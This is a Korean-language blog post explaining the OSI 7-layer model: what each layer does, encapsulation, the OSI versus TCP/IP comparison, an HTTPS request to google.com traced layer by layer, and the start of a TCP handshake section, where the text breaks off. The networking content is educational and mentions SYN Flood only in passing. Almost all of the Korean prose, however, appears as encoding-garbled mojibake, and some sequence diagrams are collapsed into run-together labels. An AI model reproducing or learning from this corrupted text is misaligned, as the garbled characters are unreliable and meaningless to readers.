๐ŸŒ OSI 7๊ณ„์ธต, ์™ธ์šฐ์ง€ ๋ง๊ณ  ์ดํ•ดํ•˜์ž

@leekh8 ยท March 30, 2026 ยท 22 min read

์†”์งํžˆ ๋งํ•˜๋ฉด, OSI 7๊ณ„์ธต์€ ์ฒ˜์Œ์— ๊ทธ๋ƒฅ ์™ธ์› ๋‹ค.

"๋ฌผ๋ฐ๋„ค์ „์„ธํ‘œ์‘" ๊ฐ™์€ ์•”๊ธฐ๋ฒ•์œผ๋กœ 1๊ณ„์ธต๋ถ€ํ„ฐ 7๊ณ„์ธต๊นŒ์ง€ ์ˆœ์„œ๋Š” ์™ธ์› ๋Š”๋ฐ, ์‹ค์ œ๋กœ ๋ญ”๊ฐ€ ๋ฌธ์ œ๊ฐ€ ์ƒ๊ฒผ์„ ๋•Œ "์ด๊ฒŒ ๋ช‡ ๊ณ„์ธต ๋ฌธ์ œ์ธ๊ฐ€์š”?"๋ผ๋Š” ์งˆ๋ฌธ ์•ž์—์„œ ์ž์ฃผ ๋ฉˆ์นซํ–ˆ๋‹ค.

์ด ๊ธ€์€ ๊ทธ๋ƒฅ ์™ธ์šฐ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์™œ ์ด๋ ‡๊ฒŒ ๋‚˜๋‰˜์—ˆ๋Š”์ง€, ์‹ค์ œ๋กœ ์–ด๋–ค ์žฅ๋ฉด์—์„œ ๋“ฑ์žฅํ•˜๋Š”์ง€๋ฅผ ์ค‘์‹ฌ์œผ๋กœ ์ •๋ฆฌํ•œ ๊ฑฐ๋‹ค. ๊ธฐ๋ณธ ๊ฐœ๋…์—์„œ ์‹œ์ž‘ํ•ด์„œ ๋ณด์•ˆ ์œ„ํ˜‘, TCP ํ•ธ๋“œ์…ฐ์ดํฌ ์ƒ์„ธ, Wireshark ์‹ค์Šต, ๊ทธ๋ฆฌ๊ณ  ์‹ค๋ฌด์—์„œ ์ž์ฃผ ๋งŒ๋‚˜๋Š” ํŠธ๋Ÿฌ๋ธ”์ŠˆํŒ… ์ผ€์ด์Šค๊นŒ์ง€ ๋‹ค๋ฃฌ๋‹ค.


์™œ 7๊ณ„์ธต์œผ๋กœ ๋‚˜๋ˆด์„๊นŒ?

1970~80๋…„๋Œ€, ๊ฐ ํšŒ์‚ฌ๋“ค์€ ์ž๊ธฐ ๋„คํŠธ์›Œํฌ ์žฅ๋น„๋ผ๋ฆฌ๋งŒ ํ†ต์‹ ๋˜๋Š” ๋…์ž ๊ทœ๊ฒฉ์„ ๋งŒ๋“ค์—ˆ๋‹ค. IBM ์žฅ๋น„๋Š” IBM๋ผ๋ฆฌ, DEC ์žฅ๋น„๋Š” DEC๋ผ๋ฆฌ๋งŒ ๋๋‹ค.

์ด๊ฒŒ ๋ฌธ์ œ๊ฐ€ ๋˜์ž ISO(๊ตญ์ œํ‘œ์ค€ํ™”๊ธฐ๊ตฌ)๊ฐ€ ๋‚˜์„œ์„œ "๋„คํŠธ์›Œํฌ ํ†ต์‹ ์„ ์ด๋ ‡๊ฒŒ ํ‘œ์ค€ํ™”ํ•˜์ž"๋ฉฐ ๋งŒ๋“  ๊ฒŒ OSI(Open Systems Interconnection) ๋ชจ๋ธ์ด๋‹ค.1 1984๋…„์— ๊ณต์‹ ๋ฐœํ‘œ๋๋‹ค.

ํ•ต์‹ฌ ์•„์ด๋””์–ด๋Š” "์—ญํ• ์„ ๋ถ„๋ฆฌํ•˜์ž"๋Š” ๊ฒƒ์ด๋‹ค.

์ผ€์ด๋ธ”์ด ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ๋ฌธ์ œ, IP ์ฃผ์†Œ๋กœ ์ฐพ์•„๊ฐ€๋Š” ๋ฌธ์ œ, ๋ฐ์ดํ„ฐ๊ฐ€ ๊นจ์ง€์ง€ ์•Š๊ฒŒ ์ „๋‹ฌํ•˜๋Š” ๋ฌธ์ œ โ€” ์ด๊ฑธ ํ•œ ๋ฉ์–ด๋ฆฌ๋กœ ์ฒ˜๋ฆฌํ•˜๋ฉด ์–ด๋А ํ•œ ๋ถ€๋ถ„๋งŒ ๋ฐ”๊พธ๊ธฐ๊ฐ€ ์–ด๋ ต๋‹ค. ๊ณ„์ธต์„ ๋‚˜๋ˆ„๋ฉด ๊ฐ ๊ณ„์ธต์€ ์•„๋ž˜ ๊ณ„์ธต์—์„œ ๋ญ”๊ฐ€๋ฅผ ๋ฐ›์•„์„œ ์ฒ˜๋ฆฌํ•˜๊ณ  ์œ„ ๊ณ„์ธต์œผ๋กœ ๋„˜๊ธฐ๊ธฐ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค.

7๊ณ„์ธต ์‘์šฉ Application

HTTP, FTP, DNS, SMTP
6๊ณ„์ธต ํ‘œํ˜„ Presentation

์•”ํ˜ธํ™”, ์••์ถ•, ์ธ์ฝ”๋”ฉ
5๊ณ„์ธต ์„ธ์…˜ Session

์—ฐ๊ฒฐ ์ˆ˜๋ฆฝยท์œ ์ง€ยท์ข…๋ฃŒ
4๊ณ„์ธต ์ „์†ก Transport

TCP, UDP / ํฌํŠธ ๋ฒˆํ˜ธ
3๊ณ„์ธต ๋„คํŠธ์›Œํฌ Network

IP / ๋ผ์šฐํ„ฐ
2๊ณ„์ธต ๋ฐ์ดํ„ฐ๋งํฌ Data Link

MAC ์ฃผ์†Œ / ์Šค์œ„์น˜
1๊ณ„์ธต ๋ฌผ๋ฆฌ Physical

์ผ€์ด๋ธ”, ์‹ ํ˜ธ, ํ—ˆ๋ธŒ


๊ฐ ๊ณ„์ธต์„ ์‹ค์ œ๋กœ ์ดํ•ดํ•˜๊ธฐ

1๊ณ„์ธต โ€” ๋ฌผ๋ฆฌ (Physical)

๋ง ๊ทธ๋Œ€๋กœ ๋ฌผ๋ฆฌ์ ์ธ ์‹ ํ˜ธ๋‹ค. 0๊ณผ 1์„ ์ „๊ธฐ ์‹ ํ˜ธ, ๋น› ์‹ ํ˜ธ, ์ „ํŒŒ๋กœ ๋ณ€ํ™˜ํ•ด์„œ ์ผ€์ด๋ธ”์ด๋‚˜ ๊ณต๊ธฐ ์ค‘์œผ๋กœ ์ „๋‹ฌํ•œ๋‹ค.

  • ์žฅ๋น„: ์ผ€์ด๋ธ”, ํ—ˆ๋ธŒ, ๋ฆฌํ”ผํ„ฐ, ๊ด‘์„ฌ์œ 
  • ๋‹จ์œ„: ๋น„ํŠธ(bit)

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: "LAN ์ผ€์ด๋ธ” ๋ฝ‘ํ˜”์–ด์š”" โ€” ์ด๊ฒŒ 1๊ณ„์ธต ๋ฌธ์ œ๋‹ค. ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์—ฐ๊ฒฐ์ด ์•ˆ ๋˜๋ฉด ๊ทธ ์œ„ ๊ณ„์ธต์€ ์•„๋ฌด ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.


2๊ณ„์ธต โ€” ๋ฐ์ดํ„ฐ๋งํฌ (Data Link)

๊ฐ™์€ ๋„คํŠธ์›Œํฌ ์•ˆ(๊ฐ™์€ LAN)์—์„œ ์–ด๋А ์žฅ์น˜์—์„œ ์–ด๋А ์žฅ์น˜๋กœ ๋ณด๋‚ผ์ง€ ๊ฒฐ์ •ํ•˜๋Š” ๊ณ„์ธต์ด๋‹ค. ์ด๋•Œ ์‚ฌ์šฉํ•˜๋Š” ์ฃผ์†Œ๊ฐ€ MAC ์ฃผ์†Œ๋‹ค.

  • ์žฅ๋น„: ์Šค์œ„์น˜, ๋ธŒ๋ฆฟ์ง€, ๋ฌด์„  AP
  • ๋‹จ์œ„: ํ”„๋ ˆ์ž„(Frame)
  • ์ฃผ์†Œ: MAC ์ฃผ์†Œ (์˜ˆ: AA:BB:CC:DD:EE:FF)

MAC ์ฃผ์†Œ๋Š” ๋„คํŠธ์›Œํฌ ์นด๋“œ์— ํ•˜๋“œ์›จ์–ด์ ์œผ๋กœ ๋ถ€์—ฌ๋œ ๊ณ ์œ  ์ฃผ์†Œ๋‹ค. ์ œ์กฐ์‚ฌ์—์„œ ์ด๋ฏธ ์ƒˆ๊ฒจ์„œ ๋‚˜์˜จ๋‹ค.

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: ์Šค์œ„์น˜๋Š” 2๊ณ„์ธต ์žฅ๋น„๋‹ค. ์Šค์œ„์น˜๋Š” "์ด MAC ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง„ ์žฅ์น˜๋Š” ๋ช‡ ๋ฒˆ ํฌํŠธ์— ์žˆ๋‹ค"๋Š” ํ…Œ์ด๋ธ”์„ ๊ด€๋ฆฌํ•˜๋ฉด์„œ ํŒจํ‚ท์„ ํ•ด๋‹น ํฌํŠธ๋กœ๋งŒ ๋ณด๋‚ธ๋‹ค. ARP(Address Resolution Protocol)๋„ 2๊ณ„์ธต๊ณผ 3๊ณ„์ธต ์‚ฌ์ด์—์„œ ๋™์ž‘ํ•œ๋‹ค โ€” IP ์ฃผ์†Œ์— ๋Œ€์‘ํ•˜๋Š” MAC ์ฃผ์†Œ๋ฅผ ์ฐพ๋Š” ํ”„๋กœํ† ์ฝœ์ด๋‹ค.


3๊ณ„์ธต โ€” ๋„คํŠธ์›Œํฌ (Network)

๋‹ค๋ฅธ ๋„คํŠธ์›Œํฌ ๊ฐ„ ํ†ต์‹ ์„ ๋‹ด๋‹นํ•œ๋‹ค. ๋‚ด ์ง‘ ๊ณต์œ ๊ธฐ์—์„œ ๊ตฌ๊ธ€ ์„œ๋ฒ„๊นŒ์ง€ ์ฐพ์•„๊ฐ€๋Š” ๊ฒฝ๋กœ๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ๊ณ„์ธต์ด๋‹ค. ์ด๋•Œ ์‚ฌ์šฉํ•˜๋Š” ์ฃผ์†Œ๊ฐ€ IP ์ฃผ์†Œ๋‹ค.

  • ์žฅ๋น„: ๋ผ์šฐํ„ฐ, L3 ์Šค์œ„์น˜
  • ๋‹จ์œ„: ํŒจํ‚ท(Packet)
  • ์ฃผ์†Œ: IP ์ฃผ์†Œ (์˜ˆ: 192.168.1.1)

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: ๋ผ์šฐํ„ฐ๋Š” 3๊ณ„์ธต ์žฅ๋น„๋‹ค. ๋ผ์šฐํ„ฐ๋Š” ๋ชฉ์ ์ง€ IP ์ฃผ์†Œ๋ฅผ ๋ณด๊ณ  "์ด ํŒจํ‚ท์€ ์–ด๋А ๋ฐฉํ–ฅ์œผ๋กœ ๋ณด๋‚ด์•ผ ํ•˜๋‚˜"๋ฅผ ๊ฒฐ์ •ํ•œ๋‹ค. TTL(Time To Live)๋„ 3๊ณ„์ธต ๊ฐœ๋… โ€” ํŒจํ‚ท์ด ๋ผ์šฐํ„ฐ๋ฅผ ํ•˜๋‚˜์”ฉ ์ง€๋‚  ๋•Œ๋งˆ๋‹ค 1์”ฉ ์ค„๊ณ , 0์ด ๋˜๋ฉด ํŒจํ‚ท์„ ๋ฒ„๋ฆฐ๋‹ค. (traceroute๊ฐ€ ์ด ์›๋ฆฌ๋ฅผ ์ด์šฉํ•œ๋‹ค.)


4๊ณ„์ธต โ€” ์ „์†ก (Transport)

๋ฐ์ดํ„ฐ๊ฐ€ ๋น ์ง์—†์ด, ์ˆœ์„œ๋Œ€๋กœ ๋„์ฐฉํ•˜๊ฒŒ ํ•˜๋Š” ๊ณ„์ธต์ด๋‹ค. ์ด ๊ณ„์ธต์—์„œ TCP์™€ UDP๊ฐ€ ๋™์ž‘ํ•œ๋‹ค.

  • ๋‹จ์œ„: ์„ธ๊ทธ๋จผํŠธ(Segment, TCP) / ๋ฐ์ดํ„ฐ๊ทธ๋žจ(Datagram, UDP)
  • ์ฃผ์†Œ: ํฌํŠธ ๋ฒˆํ˜ธ (์˜ˆ: 80, 443, 22)
TCP UDP
์—ฐ๊ฒฐ ๋ฐฉ์‹ ์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ ํ›„ ํ†ต์‹  (3-way handshake) ์—ฐ๊ฒฐ ์—†์ด ๋ฐ”๋กœ ์ „์†ก
์‹ ๋ขฐ์„ฑ ์ˆœ์„œ ๋ณด์žฅ, ์†์‹ค ์‹œ ์žฌ์ „์†ก ๋ณด์žฅ ์—†์Œ
์†๋„ ์ƒ๋Œ€์ ์œผ๋กœ ๋А๋ฆผ ๋น ๋ฆ„
์‚ฌ์šฉ ์˜ˆ HTTP, SSH, FTP DNS, ์ŠคํŠธ๋ฆฌ๋ฐ, ๊ฒŒ์ž„

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: ๋ฐฉํ™”๋ฒฝ ์ •์ฑ…์—์„œ "TCP 443 ํ—ˆ์šฉ"์ด๋ผ๊ณ  ์“ธ ๋•Œ โ€” ์ด๊ฒŒ 4๊ณ„์ธต์ด๋‹ค. IP ์ฃผ์†Œ(3๊ณ„์ธต) + ํฌํŠธ ๋ฒˆํ˜ธ(4๊ณ„์ธต)๋ฅผ ์กฐํ•ฉํ•ด์„œ "์–ด๋–ค ์„œ๋น„์Šค์— ๋Œ€ํ•œ ํ†ต์‹ ์„ ํ—ˆ์šฉ/์ฐจ๋‹จํ•œ๋‹ค"๋Š” ์˜๋ฏธ๋‹ค.


5๊ณ„์ธต โ€” ์„ธ์…˜ (Session)

๋‘ ์‹œ์Šคํ…œ ๊ฐ„์˜ ์—ฐ๊ฒฐ(์„ธ์…˜)์„ ์ˆ˜๋ฆฝํ•˜๊ณ , ์œ ์ง€ํ•˜๊ณ , ์ข…๋ฃŒํ•˜๋Š” ๊ณ„์ธต์ด๋‹ค. ๋กœ๊ทธ์ธ ์ƒํƒœ๋ฅผ ์œ ์ง€ํ•˜๊ฑฐ๋‚˜, ํŒŒ์ผ ์ „์†ก ์ค‘๊ฐ„์— ๋Š๊ฒผ๋‹ค๊ฐ€ ์ด์–ด๋ฐ›๋Š” ๊ธฐ๋Šฅ์ด ์ด ๊ณ„์ธต๊ณผ ๊ด€๋ จ์ด ์žˆ๋‹ค.

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: ์†”์งํžˆ 5๊ณ„์ธต์€ ๋…๋ฆฝ์ ์œผ๋กœ "์ด๊ฒŒ 5๊ณ„์ธต ๋ฌธ์ œ๋‹ค"๋ผ๊ณ  ๋ช…ํ™•ํžˆ ๊ตฌ๋ถ„ํ•˜๊ธฐ ์–ด๋ ต๋‹ค. ์‹ค์ œ TCP/IP ์Šคํƒ์—์„œ๋Š” 4๊ณ„์ธต๊ณผ ํ•ฉ์ณ์„œ ์ฒ˜๋ฆฌ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ์›น ์„œ๋ฒ„์˜ ์„ธ์…˜ ํ† ํฐ, RPC ์—ฐ๊ฒฐ ๋“ฑ์ด ์—ฌ๊ธฐ ํ•ด๋‹นํ•œ๋‹ค.


6๊ณ„์ธต โ€” ํ‘œํ˜„ (Presentation)

๋ฐ์ดํ„ฐ์˜ ํ˜•์‹๊ณผ ํ‘œํ˜„ ๋ฐฉ์‹์„ ๋‹ด๋‹นํ•œ๋‹ค. ์•”ํ˜ธํ™”, ์••์ถ•, ์ธ์ฝ”๋”ฉ์ด ์ด ๊ณ„์ธต์—์„œ ์ด๋ฃจ์–ด์ง„๋‹ค.

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: HTTPS์—์„œ TLS ์•”ํ˜ธํ™”๊ฐ€ ์—ฌ๊ธฐ ํ•ด๋‹นํ•œ๋‹ค. ํ…์ŠคํŠธ๋ฅผ Base64๋กœ ์ธ์ฝ”๋”ฉํ•˜๊ฑฐ๋‚˜, ์ด๋ฏธ์ง€๋ฅผ JPEG์œผ๋กœ ์••์ถ•ํ•˜๋Š” ๊ฒƒ๋„ 6๊ณ„์ธต ๊ฐœ๋…์ด๋‹ค.


7๊ณ„์ธต โ€” ์‘์šฉ (Application)

์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์‚ฌ์šฉํ•˜๋Š” ํ”„๋กœํ† ์ฝœ์ด ์—ฌ๊ธฐ ์žˆ๋‹ค. HTTP, HTTPS, FTP, SMTP, DNS ๋“ฑ์ด ๋ชจ๋‘ 7๊ณ„์ธต์ด๋‹ค.

์‹ค์ œ ๋“ฑ์žฅ ์žฅ๋ฉด: ๋ธŒ๋ผ์šฐ์ €์—์„œ URL ์ž…๋ ฅ, ์ด๋ฉ”์ผ ๋ฐœ์†ก, FTP ํŒŒ์ผ ์ „์†ก โ€” ์ด ๋ชจ๋“  ๊ฒŒ 7๊ณ„์ธต์—์„œ ์‹œ์ž‘ํ•œ๋‹ค.


๋ฐ์ดํ„ฐ๊ฐ€ ์‹ค์ œ๋กœ ์ด๋™ํ•˜๋Š” ๋ฐฉ์‹ โ€” ์บก์Аํ™”์™€ ์—ญ์บก์Аํ™”

๊ณ„์ธต ๊ตฌ์กฐ์˜ ํ•ต์‹ฌ์€ ์บก์Аํ™”(Encapsulation)๋‹ค.

๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ผ ๋•Œ, ๊ฐ ๊ณ„์ธต์€ ์ž๊ธฐ ๊ณ„์ธต์˜ ํ—ค๋”๋ฅผ ๋ฐ์ดํ„ฐ ์•ž์— ๋ถ™์ธ๋‹ค. ๋ฐ›๋Š” ์ชฝ์—์„œ๋Š” ๋ฐ˜๋Œ€๋กœ ๊ณ„์ธต๋งˆ๋‹ค ํ—ค๋”๋ฅผ ํ•˜๋‚˜์”ฉ ๋ฒ—๊ฒจ๊ฐ€๋ฉฐ ์›๋ณธ ๋ฐ์ดํ„ฐ์— ๋„๋‹ฌํ•œ๋‹ค.

์บก์Аํ™” (์†ก์‹ ์ธก) โ€” ๊ณ„์ธต์„ ๋‚ด๋ ค๊ฐ€๋ฉด์„œ ํ—ค๋”๋ฅผ ํ•˜๋‚˜์”ฉ ์ถ”๊ฐ€ํ•œ๋‹ค:

TCP ํ—ค๋” ์ถ”๊ฐ€
IP ํ—ค๋” ์ถ”๊ฐ€
MAC ํ—ค๋” ์ถ”๊ฐ€
์ „๊ธฐ ์‹ ํ˜ธ ๋ณ€ํ™˜
7๊ณ„์ธต

์›๋ณธ ๋ฐ์ดํ„ฐ
4๊ณ„์ธต

TCP ํ—ค๋” + ๋ฐ์ดํ„ฐ
3๊ณ„์ธต

IP ํ—ค๋” + TCP + ๋ฐ์ดํ„ฐ
2๊ณ„์ธต

MAC + IP + TCP + ๋ฐ์ดํ„ฐ
1๊ณ„์ธต

๋น„ํŠธ ์ŠคํŠธ๋ฆผ (๋ฌผ๋ฆฌ ์ „์†ก)

์—ญ์บก์Аํ™” (์ˆ˜์‹ ์ธก) โ€” ๋ฐ˜๋Œ€๋กœ ๊ณ„์ธต์„ ์˜ฌ๋ผ๊ฐ€๋ฉด์„œ ํ—ค๋”๋ฅผ ํ•˜๋‚˜์”ฉ ๋ฒ—๊ฒจ๋‚ธ๋‹ค:

์‹ ํ˜ธ ํ•ด์„
IP ํŒจํ‚ท ์ „๋‹ฌ
์„ธ๊ทธ๋จผํŠธ ์ „๋‹ฌ
๋ฐ์ดํ„ฐ ์ „๋‹ฌ
1๊ณ„์ธต

๋น„ํŠธ ์ŠคํŠธ๋ฆผ ์ˆ˜์‹ 
2๊ณ„์ธต

MAC ํ—ค๋” ์ œ๊ฑฐ
3๊ณ„์ธต

IP ํ—ค๋” ์ œ๊ฑฐ
4๊ณ„์ธต

TCP ํ—ค๋” ์ œ๊ฑฐ
7๊ณ„์ธต

์›๋ณธ ๋ฐ์ดํ„ฐ ๋„๋‹ฌ


OSI vs TCP/IP โ€” ์‹ค์ œ๋กœ ์“ฐ์ด๋Š” ๊ฑด ์–ด๋А ๊ฒƒ?

์†”์งํžˆ ๋งํ•˜๋ฉด, ํ˜„์‹ค์—์„œ๋Š” TCP/IP ๋ชจ๋ธ์„ ๋” ๋งŽ์ด ์“ด๋‹ค.

OSI 7๊ณ„์ธต์€ ์ด๋ก ์  ์ฐธ์กฐ ๋ชจ๋ธ์ด๊ณ , ์‹ค์ œ ์ธํ„ฐ๋„ท์€ TCP/IP 4๊ณ„์ธต ๋ชจ๋ธ๋กœ ๋™์ž‘ํ•œ๋‹ค.

OSI 7๊ณ„์ธต TCP/IP 4๊ณ„์ธต
7. ์‘์šฉ (Application) ์‘์šฉ (Application)
6. ํ‘œํ˜„ (Presentation) โ†‘ (ํ†ตํ•ฉ)
5. ์„ธ์…˜ (Session) โ†‘ (ํ†ตํ•ฉ)
4. ์ „์†ก (Transport) ์ „์†ก (Transport)
3. ๋„คํŠธ์›Œํฌ (Network) ์ธํ„ฐ๋„ท (Internet)
2. ๋ฐ์ดํ„ฐ๋งํฌ (Data Link) ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ (Network Access)
1. ๋ฌผ๋ฆฌ (Physical) โ†‘ (ํ†ตํ•ฉ)

TCP/IP์—์„œ๋Š” OSI 5, 6, 7๊ณ„์ธต์ด ํ•˜๋‚˜์˜ ์‘์šฉ ๊ณ„์ธต์œผ๋กœ ํ•ฉ์ณ์ง€๊ณ , 1, 2๊ณ„์ธต์ด ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ ๊ณ„์ธต์œผ๋กœ ํ•ฉ์ณ์ง„๋‹ค.

๊ทธ๋Ÿผ์—๋„ OSI 7๊ณ„์ธต์ด ์ค‘์š”ํ•œ ์ด์œ ๋Š”, ๋ฌธ์ œ๋ฅผ ์ง„๋‹จํ•  ๋•Œ ๊ณ„์ธต๋ณ„๋กœ ์›์ธ์„ ์ขํž ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์ผ€์ด๋ธ”์ด ๋ฌธ์ œ์ธ์ง€(1๊ณ„์ธต), IP ์„ค์ •์ด ๋ฌธ์ œ์ธ์ง€(3๊ณ„์ธต), ํฌํŠธ๊ฐ€ ๋ง‰ํ˜”๋Š”์ง€(4๊ณ„์ธต), ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์ •์ด ์ž˜๋ชป๋๋Š”์ง€(7๊ณ„์ธต) โ€” ์ด๋ ‡๊ฒŒ ๊ณ„์ธต๋ณ„๋กœ ์ƒ๊ฐํ•˜๋ฉด ๋ฌธ์ œ๊ฐ€ ์–ด๋”” ์žˆ๋Š”์ง€ ํ›จ์”ฌ ๋น ๋ฅด๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.


์‹ค์ œ HTTP ์š”์ฒญ์ด OSI ๊ณ„์ธต์„ ํƒ€๊ณ  ํ๋ฅด๋Š” ๋ฐฉ์‹

๋ธŒ๋ผ์šฐ์ €์—์„œ https://google.com์„ ์ž…๋ ฅํ•˜๋ฉด ์–ด๋–ค ์ผ์ด ์ผ์–ด๋‚ ๊นŒ? ๊ณ„์ธต๋ณ„๋กœ ๋”ฐ๋ผ๊ฐ€ ๋ณด์ž.

๋‹จ๊ณ„๋ณ„ ์„ค๋ช…

7๊ณ„์ธต (์‘์šฉ): ๋ธŒ๋ผ์šฐ์ €๊ฐ€ HTTP GET ์š”์ฒญ์„ ๋งŒ๋“ ๋‹ค. ๋ชฉ์ ์ง€ URL์„ ๋ถ„์„ํ•˜๊ณ , DNS ์กฐํšŒ๋กœ google.com์˜ IP ์ฃผ์†Œ(142.250.196.110)๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.

6๊ณ„์ธต (ํ‘œํ˜„): HTTPS์ด๋ฏ€๋กœ TLS ํ•ธ๋“œ์…ฐ์ดํฌ๊ฐ€ ์ผ์–ด๋‚œ๋‹ค. ์„œ๋ฒ„ ์ธ์ฆ์„œ๋ฅผ ๊ฒ€์ฆํ•˜๊ณ , ๋Œ€์นญ ํ‚ค๋ฅผ ํ˜‘์ƒํ•ด์„œ ์ดํ›„ ๋ฐ์ดํ„ฐ๋ฅผ ์•”ํ˜ธํ™”ํ•œ๋‹ค.

5๊ณ„์ธต (์„ธ์…˜): TCP ์—ฐ๊ฒฐ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์„ธ์…˜์ด ์ˆ˜๋ฆฝ๋œ๋‹ค. HTTP/1.1์ด๋ผ๋ฉด Keep-Alive๋กœ ์„ธ์…˜์„ ์œ ์ง€ํ•˜๊ณ , HTTP/2๋ผ๋ฉด ์ŠคํŠธ๋ฆผ ๊ธฐ๋ฐ˜์œผ๋กœ ๋‹ค์ค‘ํ™”ํ•œ๋‹ค.

4๊ณ„์ธต (์ „์†ก): TCP๊ฐ€ ์š”์ฒญ ๋ฐ์ดํ„ฐ๋ฅผ ์„ธ๊ทธ๋จผํŠธ๋กœ ์ชผ๊ฐœ๊ณ , ํฌํŠธ ๋ฒˆํ˜ธ(์ถœ๋ฐœ์ง€: ๋žœ๋ค ํฌํŠธ ์˜ˆ: 54321, ๋ชฉ์ ์ง€: 443)๋ฅผ ๋ถ™์ธ๋‹ค. 3-way handshake๋กœ ๋จผ์ € ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•œ๋‹ค.

3๊ณ„์ธต (๋„คํŠธ์›Œํฌ): IP ํ—ค๋”๊ฐ€ ๋ถ™๋Š”๋‹ค. ์ถœ๋ฐœ์ง€ IP(๋‚ด ๊ณต์ธ IP ๋˜๋Š” ์‚ฌ์„ค IP), ๋ชฉ์ ์ง€ IP(142.250.196.110), TTL ๋“ฑ์ด ํฌํ•จ๋œ๋‹ค. ๋ผ์šฐํŒ… ํ…Œ์ด๋ธ”์„ ์ฐธ์กฐํ•ด ๊ฒŒ์ดํŠธ์›จ์ด(๊ณต์œ ๊ธฐ)๋กœ ํŒจํ‚ท์„ ๋ณด๋‚ธ๋‹ค.

2๊ณ„์ธต (๋ฐ์ดํ„ฐ๋งํฌ): ARP๋กœ ๊ฒŒ์ดํŠธ์›จ์ด์˜ MAC ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•œ๋‹ค. ์ด๋”๋„ท ํ”„๋ ˆ์ž„์œผ๋กœ ๊ฐ์‹ธ์„œ ๋ฌผ๋ฆฌ ๋งค์ฒด๋กœ ์ „๋‹ฌํ•œ๋‹ค.

1๊ณ„์ธต (๋ฌผ๋ฆฌ): ๋น„ํŠธ๊ฐ€ ์ „๊ธฐ ์‹ ํ˜ธ๋‚˜ ๊ด‘์‹ ํ˜ธ๋กœ ๋ณ€ํ™˜๋ผ ์ผ€์ด๋ธ”์ด๋‚˜ ๋ฌด์„ ์œผ๋กœ ์ „์†ก๋œ๋‹ค.

Google ์„œ๋ฒ„์ด๋”๋„ท(2๊ณ„์ธต)IP/๋ผ์šฐํ„ฐ(3๊ณ„์ธต)TCP(4๊ณ„์ธต)TLS/์•”ํ˜ธํ™”(6๊ณ„์ธต)๋ธŒ๋ผ์šฐ์ €(7๊ณ„์ธต)Google ์„œ๋ฒ„์ด๋”๋„ท(2๊ณ„์ธต)IP/๋ผ์šฐํ„ฐ(3๊ณ„์ธต)TCP(4๊ณ„์ธต)TLS/์•”ํ˜ธํ™”(6๊ณ„์ธต)๋ธŒ๋ผ์šฐ์ €(7๊ณ„์ธต)DNS ์กฐํšŒ โ†’ 142.250.196.110HTTP GET /SYN ์„ธ๊ทธ๋จผํŠธ ์ƒ์„ฑIP ํŒจํ‚ท + ๋ผ์šฐํŒ…์ด๋”๋„ท ํ”„๋ ˆ์ž„ ์ „์†กSYN-ACK ์‘๋‹ตํ”„๋ ˆ์ž„ ์ˆ˜์‹ ํŒจํ‚ท ์ „๋‹ฌ์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ ์™„๋ฃŒTLS ClientHello์ธ์ฆ์„œ ๊ตํ™˜ + ํ‚ค ํ˜‘์ƒTLS ์™„๋ฃŒ์•”ํ˜ธํ™” ์ฑ„๋„ ์ค€๋น„์•”ํ˜ธํ™”๋œ HTTP GET ์ „์†กHTTP 200 OK + HTML ์‘๋‹ต

์ด ํ๋ฆ„์—์„œ DNS ์กฐํšŒ ์ž์ฒด๋„ UDP 53๋ฒˆ ํฌํŠธ๋ฅผ ํ†ตํ•ด OSI ์ „ ๊ณ„์ธต์„ ๊ฑฐ์นœ๋‹ค. https://google.com ํ•œ ๋ฒˆ ์ž…๋ ฅ์— ์ตœ์†Œ 2๋ฒˆ์˜ ์™„์ „ํ•œ OSI ์Šคํƒ ํ†ต์‹ ์ด ์ผ์–ด๋‚˜๋Š” ์…ˆ์ด๋‹ค(DNS + HTTPS).


TCP 3-way Handshake / 4-way Handshake ์ƒ์„ธ

TCP์˜ ์‹ ๋ขฐ์„ฑ์€ ์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ๊ณผ ์ข…๋ฃŒ ๊ณผ์ •์—์„œ ๋‚˜์˜จ๋‹ค. ์ด ๋ถ€๋ถ„์€ 4๊ณ„์ธต์˜ ํ•ต์‹ฌ์ด๋ฉด์„œ, ๋ณด์•ˆ ๊ณต๊ฒฉ(SYN Flood)์˜ ๋Œ€์ƒ์ด๊ธฐ๋„ ํ•˜๋‹ค.

3-way Handshake โ€” ์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ

TCP ์—ฐ๊ฒฐ์„ ์—ด ๋•Œ ์„ธ ๋‹จ๊ณ„๋ฅผ ๊ฑฐ์นœ๋‹ค.

์„œ๋ฒ„ํด๋ผ์ด์–ธํŠธ์„œ๋ฒ„ํด๋ผ์ด์–ธํŠธSYN_SENT ์ƒํƒœSYN_RECEIVED ์ƒํƒœESTABLISHED ์ƒํƒœESTABLISHED ์ƒํƒœ๋ฐ์ดํ„ฐ ์ „์†ก ๊ฐ€๋ŠฅSYN (seq=100)SYN-ACK (seq=200, ack=101)ACK (ack=201)

